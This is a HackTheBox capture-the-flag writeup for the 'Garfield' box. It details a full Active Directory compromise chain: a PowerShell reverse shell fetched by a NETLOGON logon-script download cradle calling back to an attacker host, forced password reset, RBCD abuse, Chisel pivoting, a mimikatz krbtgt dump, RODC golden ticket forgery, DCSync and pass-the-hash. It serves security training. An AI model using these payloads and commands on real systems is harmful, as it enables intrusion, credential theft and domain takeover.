Garfield — HackTheBox Hard Writeup
Garfield is a multi-stage Active Directory box that chains together a subtle, BloodHound-invisible ACE on a logon script attribute, Resource-Based Constrained Delegation against a Read-Only Domain Controller, and a forged RODC golden ticket to achieve full domain compromise. Every phase has at least one pitfall that will silently destroy your progress if you miss it — this is a box that rewards careful enumeration and punishes impatience.
Prerequisites: This walkthrough assumes familiarity with Active Directory ACL enumeration and BloodHound, Kerberos ticket mechanics (TGT/TGS, KVNO, ccache format), Resource-Based Constrained Delegation (RBCD) and the S4U2Proxy protocol, and Read-Only Domain Controller (RODC) architecture including Password Replication Policy. If any of these are unfamiliar, work through some Medium-difficulty AD boxes first.
Overview
HTB provides starting credentials: j.arbuckle / Th1sD4mnC4t!@1978. The attack chain runs roughly like this:
- j.arbuckle → l.wilson via a scoped
scriptPathWriteProp ACE that BloodHound never shows you — logon script hijacking via NETLOGON - l.wilson → l.wilson_adm via
ForceChangePassword - l.wilson_adm → SYSTEM on RODC01 via RBCD + a SOCKS tunnel through DC01
- SYSTEM on RODC01 → domain compromise via mimikatz dump of
krbtgt_8245, followed by RODC golden ticket forgery and DCSync
Let’s walk through each phase in detail.
Reconnaissance
Nmap
The box resolves as DC01.garfield.htb, a Windows Server 2019 domain controller. The standard AD port constellation is present:

Port 2179 (VMConnect) is the tell: RODC01 is running as a Hyper-V VM on DC01. That’s going to matter when we need to reach it later.
Two things need immediate attention before any Kerberos work:
sudo ntpdate -u $TARGET
The clock skew is roughly +8 hours. Kerberos has a 5-minute tolerance — skip this and every ticket request fails with KRB_AP_ERR_SKEW.
Also add both hosts to /etc/hosts:
echo "$TARGET DC01.garfield.htb garfield.htb" | sudo tee -a /etc/hosts
echo "192.168.100.2 RODC01.garfield.htb" | sudo tee -a /etc/hosts
Domain Enumeration
Running BloodHound with the starting credentials gives us the lay of the land. The relevant computers and users:
Computers:
DC01.garfield.htb— writable DC, unconstrained delegation (expected for a DC)RODC01.garfield.htb— Read-Only DC, internal IP192.168.100.2, not directly reachable from Kali
Users of interest:
j.arbuckle— IT Support group (our starting account)l.wilson— Remote Management Users, Remote Desktop Usersl.wilson_adm— Tier 1, Remote Management Users, Remote Desktop Userskrbtgt_8245— the RODC’s scoped krbtgt service account
BloodHound shows a partial chain:
l.wilson -- ForceChangePassword --> l.wilson_adm
l.wilson_adm -- WriteAccountRestrictions --> RODC01$
l.wilson_adm -- AddMember --> RODC Administrators
What BloodHound doesn’t show is how to get to l.wilson from j.arbuckle. That gap is the first puzzle.
Finding the Hidden ACE
BloodHound only surfaces full property-write rights and well-known ACEs. Scoped property writes — where a trustee can only write a specific attribute GUID — are invisible to it. To find these, we need to dump the raw DACL from the LDAP nTSecurityDescriptor attribute directly.
The IT Support group has a WriteProp ACE scoped to GUID bf9679a8, which maps to the scriptPath attribute on l.wilson’s user object. This ACE is inherited from the CN=Users container. There’s also a corresponding write permission to the NETLOGON share — meaning j.arbuckle can both set what logon script runs and plant the file it points to.
Foothold
Phase 1: Logon Script Hijacking (j.arbuckle → l.wilson)
A simulation process on the box reads l.wilson’s scriptPath attribute from AD, constructs the UNC path \\garfield.htb\NETLOGON\<scriptPath>, and runs it via cmd.exe /c. We control both the attribute and the file — classic logon script hijack.
Step 1 — Prepare the payload
We’ll use a download-cradle approach: a .bat file in NETLOGON that calls back to our HTTP server to fetch a PowerShell reverse shell. Inline base64 payloads inside batch files are brittle and hard to debug; the download cradle is cleaner.
Stand up a simple HTTP server and write the reverse shell:
cat > /tmp/rev.ps1 << 'EOF'
$c = New-Object System.Net.Sockets.TCPClient('LHOST',9001)
$s = $c.GetStream();[byte[]]$b = 0..65535|%{0}
while(($i = $s.Read($b, 0, $b.Length)) -ne 0){
$d = (New-Object System.Text.ASCIIEncoding).GetString($b,0,$i)
$r = (iex $d 2>&1 | Out-String)
$r2 = $r + 'PS ' + (pwd).Path + '> '
$sb = ([text.encoding]::ASCII).GetBytes($r2)
$s.Write($sb,0,$sb.Length);$s.Flush()}
$c.Close()
EOF
cd /tmp && python3 -m http.server 8888 &
Now the batch file that will live in NETLOGON:
printf '@echo off\r\npowershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('"'"'http://LHOST:8888/rev.ps1'"'"')"\r\n' \
> /tmp/revshell.bat
Step 2 — Upload to NETLOGON and set the scriptPath attribute
smbclient '//TARGET/SYSVOL' -U 'j.arbuckle%Th1sD4mnC4t!@1978' \
-c 'cd "garfield.htb/scripts"; put /tmp/revshell.bat printerDetect.bat'
bloodyAD -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --host TARGET \
set object "CN=Liz Wilson,CN=Users,DC=garfield,DC=htb" scriptPath \
-v printerDetect.bat
bloodyAD is the cleanest tool for this kind of targeted LDAP attribute write. Install it with sudo apt install bloodyad if it’s not already present.
Step 3 — Catch the shell
nc -lvnp 9001
The simulation fires within a minute or two. If it doesn’t, re-running the bloodyAD set command re-triggers it. When the shell lands, we’re running as l.wilson.
One thing I tried first was putting
net usercommands directly inside the bat file to add l.wilson to groups. These fail silently — the simulation’s execution context doesn’t have the right privileges for inline AD mutations. The reverse shell approach is the only reliable path.
Phase 2: l.wilson → l.wilson_adm (ForceChangePassword)
BloodHound shows l.wilson has ForceChangePassword on l.wilson_adm. From the reverse shell:
$u = [ADSI]"LDAP://CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb"
$u.SetPassword("H4ck3dPass2026")
$u.SetInfo()
Then we drop into an evil-winrm session:
evil-winrm -i TARGET -u 'l.wilson_adm' -p 'H4ck3dPass2026'
We now have WinRM access to DC01 as l.wilson_adm. Time for the interesting part.
Privilege Escalation
The endgame is forging a golden ticket using the RODC’s krbtgt_8245 key, which lets us request TGS tickets that DC01 will honor. To get that key, we need SYSTEM on RODC01. The path there goes through RBCD and a tunnel.
Step 1: Add l.wilson_adm to RODC Administrators
l.wilson_adm has AddMember rights on the RODC Administrators group. This gives us two things: PSRemoting to RODC01, and the right to modify the Password Replication Policy later.
From the evil-winrm session on DC01:
Add-ADGroupMember -Identity "RODC Administrators" -Members l.wilson_adm
Step 2: RBCD Against RODC01$
l.wilson_adm has WriteAccountRestrictions on RODC01$. We’ll abuse this with a fake machine account to get a Kerberos service ticket impersonating Administrator — RBCD, the same technique we abused in a slightly different flavor in Monteverde.
First, create the fake machine account using the starting credentials (MachineAccountQuota is 10, so this is allowed):
impacket-addcomputer garfield.htb/j.arbuckle:'Th1sD4mnC4t!@1978' \
-computer-name 'FAKEPC$' -computer-pass 'FakePass123!' -dc-ip TARGET
Then set the RBCD attribute on RODC01$:
bloodyAD -u l.wilson_adm -p 'H4ck3dPass2026' --host TARGET \
add rbcd 'RODC01$' 'FAKEPC$'
Critical warning: Do NOT change RODC01$’s computer account password. The RODC uses this to authenticate its replication channel to DC01. Breaking it breaks domain trust on the RODC, and you’ll have to respawn the box.
Step 3: Tunnel to RODC01 via Chisel
RODC01 lives on 192.168.100.2 — internal only, unreachable from Kali directly. We’ll use Chisel to create a SOCKS proxy through DC01.
On Kali:
chisel server --reverse --port 8443
From the evil-winrm session on DC01, download and run the Chisel client:
Invoke-WebRequest -Uri http://LHOST:8888/chisel.exe \
-OutFile C:\Users\l.wilson_adm\Documents\chisel.exe
C:\Users\l.wilson_adm\Documents\chisel.exe client LHOST:8443 R:socks
Now all proxychains traffic routes through DC01 into the internal network.
Step 4: Get a CIFS Ticket and Reach RODC01
With RBCD set up, we can perform S4U2Proxy to get a CIFS service ticket for RODC01 impersonating Administrator:
impacket-getST -spn cifs/RODC01.garfield.htb -impersonate Administrator \
-dc-ip TARGET garfield.htb/'FAKEPC$':'FakePass123!'
export KRB5CCNAME=Administrator@[email protected]
Step 5: Stage Mimikatz on RODC01 and Dump krbtgt_8245
RODC01 caches credential material for accounts in its Password Replication Policy’s “allowed” list. The msDS-RevealedUsers attribute already shows Administrator and krbtgt_8245 are cached. We need to extract krbtgt_8245’s AES key.
First, stage mimikatz on RODC01 by transferring it through DC01 via PSSession byte transfer (since we can’t reach RODC01 from Kali directly):
$cred = New-Object System.Management.Automation.PSCredential(
"garfield.htb\l.wilson_adm",
(ConvertTo-SecureString 'H4ck3dPass2026' -AsPlainText -Force)
)
$session = New-PSSession -ComputerName RODC01.garfield.htb -Credential $cred
$bytes = [IO.File]::ReadAllBytes("C:\Users\l.wilson_adm\Documents\mimikatz.exe")
Invoke-Command -Session $session -ScriptBlock {
param($b)
[IO.File]::WriteAllBytes("C:\Users\l.wilson_adm\Documents\mimikatz.exe", $b)
} -ArgumentList (,$bytes)
Then run it via psexec through the proxychains tunnel with our CIFS ticket (psexec gets us SYSTEM, which is needed for privilege::debug):
proxychains -q impacket-psexec -k -no-pass \
garfield.htb/[email protected] \
'cmd /c C:\Users\l.wilson_adm\Documents\mimikatz.exe "privilege::debug" "lsadump::lsa /inject /name:krbtgt_8245" "exit"'
I initially tried
secretsdumpwith-use-vssagainst RODC01’s NTDS.dit — it runs fine, extracts the SAM and LSA secrets, but produces no domain hashes. The RODC only stores an encrypted subset of credentials, and impacket’s NTDS parser doesn’t handle that format. Mimikatzlsadump::lsa /injectreads directly from LSASS memory and gives us exactly what we need.

We have the AES256 key for krbtgt_8245. Now for the golden ticket.
Step 6: Modify the Password Replication Policy
Before forging our golden ticket, we need DC01 to actually accept it for the Administrator account. A RODC-signed ticket is only valid for accounts the DC is authorized to cache. Right now, the allowed PRP list is empty and the default denied list blocks admins.
From evil-winrm as l.wilson_adm (now in RODC Administrators):
Set-ADComputer RODC01 -Add @{
"msDS-RevealOnDemandGroup" = "CN=Administrator,CN=Users,DC=garfield,DC=htb"
}
Set-ADComputer RODC01 -Clear "msDS-NeverRevealGroup"
This tells DC01 that the RODC is authorized to cache the Administrator’s credentials, which in turn means DC01 will validate tickets signed by krbtgt_8245 for that account.
Step 7: Forge the RODC Golden Ticket
This is where tooling matters enormously. Impacket’s ticketer gets the KVNO encoding wrong for RODC golden tickets and DC01 returns BAD_INTEGRITY. Rubeus (v2.3.3+) has a dedicated /rodcNumber flag that handles the encoding correctly.
From evil-winrm on DC01:
.\Rubeus.exe golden /rodcNumber:8245 `
/aes256:5d5c4b19c47c6a7e30322d1b896bd01892b8e0e8eb355d10072718053f321f1c `
/user:Administrator /id:500 `
/domain:garfield.htb `
/sid:S-1-5-21-2502726253-3859040611-225969357 `
/nowrap
Copy the base64 blob back to Kali and convert it:
echo "<base64_blob>" | base64 -d > /tmp/rodc_golden.kirbi
impacket-ticketConverter /tmp/rodc_golden.kirbi /tmp/rodc_golden.ccache
export KRB5CCNAME=/tmp/rodc_golden.ccache
Step 8: Request TGS for DC01 and DCSync
Now we use the RODC golden ticket to request a real TGS for DC01:
impacket-getST -k -no-pass -dc-ip TARGET \
-spn cifs/DC01.garfield.htb garfield.htb/Administrator
export KRB5CCNAME=Administrator@[email protected]
And finally, DCSync to pull the domain Administrator hash:
impacket-secretsdump -k -no-pass \
garfield.htb/[email protected] \
-just-dc-user Administrator

Pass the hash for the root flag:
impacket-wmiexec garfield.htb/Administrator@TARGET \
-hashes :ee238f6debc752010428f20875b092d5 \
'type C:\Users\Administrator\Desktop\root.txt'

Lessons Learned
On scriptPath hijacking:
- BloodHound silently drops scoped
WritePropACEs that target specific attribute GUIDs. Finding thescriptPathACE (GUIDbf9679a8) required dumping the rawnTSecurityDescriptorDACL from LDAP. Never trust BloodHound as your only ACL analysis tool on a hard box. - Download-cradle payloads (IEX + HTTP server) are far more debuggable than inline base64 blobs inside batch files. When something doesn’t fire, you can see exactly which HTTP request came in — or didn’t.
- Inline AD mutations inside batch files (like
net usercommands) fail silently in this execution context. Always use a proper shell.
On RODC attacks — sequencing is everything:
- Never change RODC01$’s computer account password before extracting secrets. The RODC uses this for its replication channel. Break it and you break domain trust.
- Rubeus is required for RODC golden tickets. Impacket
ticketerproduces aBAD_INTEGRITYerror because it doesn’t handle the RODC KVNO encoding correctly. Use Rubeus v2.3.3+ with the/rodcNumberflag. secretsdump -use-vsson an RODC returns empty domain hashes — the NTDS.dit on an RODC stores credentials in an encrypted format impacket doesn’t parse. Use mimikatzlsadump::lsa /injectvia psexec as SYSTEM instead.- PRP modification (
msDS-RevealOnDemandGroup/msDS-NeverRevealGroup) requires RODC Administrators membership. Add yourself to that group before touching PRP.
On tunneling:
- Kerberos over SOCKS is unreliable — you’ll see
STATUS_MORE_PROCESSING_REQUIREDerrors with some tools.impacket-psexecthroughproxychainswith a Kerberos ccache was the most stable combination here. - Chisel’s reverse SOCKS mode is clean and reliable for this kind of internal pivot. Serve the binary from your HTTP server, pull it in via evil-winrm, run it.
Tool notes:
bloodyAD(sudo apt install bloodyad) is the cleanest tool for targeted LDAP attribute writes — cleaner than trying to do it with PowerShell from a constrained shell.impacket-keylistattackis theoretically usable for RODC credential extraction, but it requires the correct AES key salt, which becomes very hard to compute if account passwords have changed. Mimikatzlsadump::lsa /injectis more reliable in practice.
